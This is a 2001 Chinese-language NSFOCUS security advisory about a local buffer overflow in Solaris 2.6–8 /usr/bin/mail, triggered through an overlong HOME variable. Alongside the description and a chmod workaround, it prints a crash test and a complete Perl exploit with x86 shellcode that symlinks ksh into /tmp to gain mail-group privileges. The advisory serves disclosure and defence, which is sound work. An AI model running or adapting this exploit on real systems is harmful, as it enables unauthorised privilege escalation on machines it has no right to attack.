首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第22期->最新漏洞
期刊号: 类型: 关键词:
Solaris 2.x mail $HOME本地缓冲区溢出漏洞

日期:2001-06-15

受影响的系统:  
Sun Solaris 8 (SPARC/x86)
Sun Solaris 7 (SPARC/x86)
Sun Solaris 2.6 (SPARC/x86)
描述:
--------------------------------------------------------------------------------


BUGTRAQ ID : 2819

Solaris 8/7中的/usr/bin/mail缺省被设置了sgid mail属性。它存在一个本地缓冲区溢
出漏洞,如果将HOME变量设置成一个很长的字符串,就会触发一个缓冲区溢出。

利用此漏洞,本地攻击者可能获取mail组权限。

目前已知,至少在Solaris 8 x86平台下,攻击者可以获取mail组权限。

<*来源:Georgi Guninski (guninski@guninski.com)
        http://www.guninski.com
*>




测试程序:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



Georgi Guninski (guninski@guninski.com)提供了如下测试方法和代码:

$ HOME=`perl -e 'print "A"x1100'` ; export HOME
mail a
CTL-C

Bus Error

Exploit:
-------------solmail.pl----------------------
#!/usr/bin/perl
# /usr/bin/mail exploit by Georgi Guninski
use Env qw($HOME);
#shell code taken from Pablo Sor's mailx exploit
$shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06";
$shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90";
$shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0";
$shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33";
$shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec";
$shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89";
$shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50";
$shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2";
$shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4";
$shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
$RET = "\xa0\x6f\x04\x08" ; #may need to change this
$OVER=1032;
$ALL=1200;
$buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell;
system("/bin/ln -s /bin/ksh /tmp/xx");
print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx exploit.\nPress
CTL-C\n";
$ENV{HOME}=$buf;
exec "/usr/bin/mail","A";
---------------------------------------------


--------------------------------------------------------------------------------
建议:

临时解决方法:

NSFOCUS建议您在没有安装补丁之前暂时去掉/usr/bin/mail的sgid属性:

# chmod -s /usr/bin/mail

厂商补丁:

Sun已经得知此问题,正在着手开发补丁。您可以随时关注厂商主页以获取最新的补丁:
http://sunsolve.sun.com/


版权所有,未经许可,不得转载